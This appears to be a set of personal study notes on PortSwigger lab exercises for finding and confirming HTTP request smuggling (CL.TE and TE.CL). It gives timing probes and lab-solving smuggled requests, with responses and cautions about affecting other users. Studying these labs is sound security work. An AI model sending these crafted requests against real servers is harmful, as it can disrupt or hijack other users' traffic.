The most generally effective way to detect HTTP request smuggling vulnerabilities is to send requests that will cause a time delay in the application’s responses if a vulnerability is present.

Finding CL.TE Vulnerabilities Using Timing Techniques

If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
 
1
A
X <-- Start of next request

Since the front-end server uses the Content-Length header, it will forward only part of this request, omitting the X. The back-end server uses the Transfer-Encoding header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.

Finding TE.CL Vulnerabilities Using Timing Techniques

If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
 
0
 
X <-- Start of next request

Since the front-end server uses the Transfer-Encoding header, it will forward only part of this request (5-byte length, which is 0\r\n\r\n), omitting the X. The back-end server uses the Content-Length header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.

Note

The timing-based test for TE.CL vulnerabilities will potentially disrupt other application users if the application is vulnerable to the CL.TE variant of the vulnerability. So to be stealthy and minimize disruption, you should use the CL.TE test first and continue to the TE.CL test only if the first test is unsuccessful.

Confirming HTTP Request Smuggling Vulnerabilities Using Differential Responses

When a probable request smuggling vulnerability has been detected, you can sending two requests to the application in quick succession:

  • An “attack” request that is designed to interfere with the processing of the next request.
  • A “normal” request.

If the response to the normal request contains the expected interference, then the vulnerability is confirmed.

Lab: HTTP Request Smuggling, Confirming a CL.TE Vulnerability via Differential Responses

Abstract

The front-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Use the above technique to identify CL.TE vulnerability:

POST / HTTP/1.1
Content-Length: 1
Transfer-Encoding: chunked
 
1

When the back-end server processes the request body, it sees a chunk size of 1 byte and waits for that one byte, which never arrives. This will cause a timed-out error like this:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 125
 
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

Use this request to confirm as well as solve the lab:

POST / HTTP/1.1
Content-Length: 28
Transfer-Encoding: chunked
 
0
 
GET /404 HTTP/1.1
Foo:

Here is how we construct the above request:

We need to use 0 to terminate the first request.

To solve the lab, we smuggle a request to a non-existing endpoint (/404) to trigger a response with 404 status code.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=DvNl80jGkRvxKLQZM2GYKYUFJsuION9m; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
 
"Not Found"

We also need to add a trailing header (Foo: ) to convert the request line of the subsequent request into a header like this:

GET /404 HTTP/1.1
Foo:GET / HTTP/2
Host: 0ac600d703c3c475853dd575009f003f.web-security-academy.net

Lab: HTTP Request Smuggling, Confirming a TE.CL Vulnerability via Differential Responses

Abstract

The back-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

First, identify the TE.CL vulnerability by using this request:

POST / HTTP/1.1
Content-Length: 6
Transfer-Encoding: chunked
 
0
 
 

As we specify Content-Length is 6, the back-end server, which uses this header to identify the end of a request, will wait for the next byte as it only receives 5 bytes from front-end server (0\r\n\r\n). This will cause a timed-out error like this:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 125
 
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

Use this request to solve the lab:

POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
 
26
GET /404 HTTP/1.1
Content-Length: 6
 
0
 
 

The number 26 (38 in decimal) is the length of the content between 26 and 0 (34 bytes for the text and 4 bytes for the last two \r\n sequences).

Additionally, we need to add Content-Length with minimum value is 6. The reason for this is when the subsequent request is sent, its will be interfered like this:

GET /404 HTTP/1.1
Content-Length: 6
 
0
 
 
POST / HTTP/1.1
Transfer-Encoding: chunked
Content-Length: 4
...

If the Content-Length is 5 (length of 0/r/n/r/n), the backend server will send GET /404 and then POST /, which is not what we want.

To bypass this, we increment Content-Length to 6, which makes backend the server queues the GET /404 request to wait for one more byte before sending it.

This lab is different from Lab HTTP Request Smuggling, Basic TE.CL Vulnerability because this lab won’t queue any data if it is not a valid request. Specifically, when sending this request:

POST / HTTP/1.1
Content-Length: 2
Transfer-Encoding: chunked
 
8
SMUGGLED
0
 
 

Response of that will be the same with the original request (the request without Transfer-Encoding: chunked header):

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=XFlal07qcu8o2zp9tvwZ1mYOm7tWVWdJ; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 11355
 
...

Instead of:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 35
 
"Unrecognized method SMUGGLED0POST"
list
from outgoing([[Port Swigger - Finding HTTP Request Smuggling Vulnerabilities]])
sort file.ctime asc

Note

Note

Some important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests:

  • The “attack” request and the “normal” request should be sent to the server using different network connections. Sending both requests through the same connection won’t prove that the vulnerability exists.
  • The “attack” request and the “normal” request should use the same URL and parameter names, as far as possible. This is because many modern applications route front-end requests to different back-end servers based on the URL and parameters. Using the same URL and parameters increases the chance that the requests will be processed by the same back-end server, which is essential for the attack to work.
  • When testing the “normal” request to detect any interference from the “attack” request, you are in a race with any other requests that the application is receiving at the same time, including those from other users. You should send the “normal” request immediately after the “attack” request. If the application is busy, you might need to perform multiple attempts to confirm the vulnerability.
  • In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your “attack” and “normal” requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed.
  • If your attack succeeds in interfering with a subsequent request, but this wasn’t the “normal” request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution.

Resources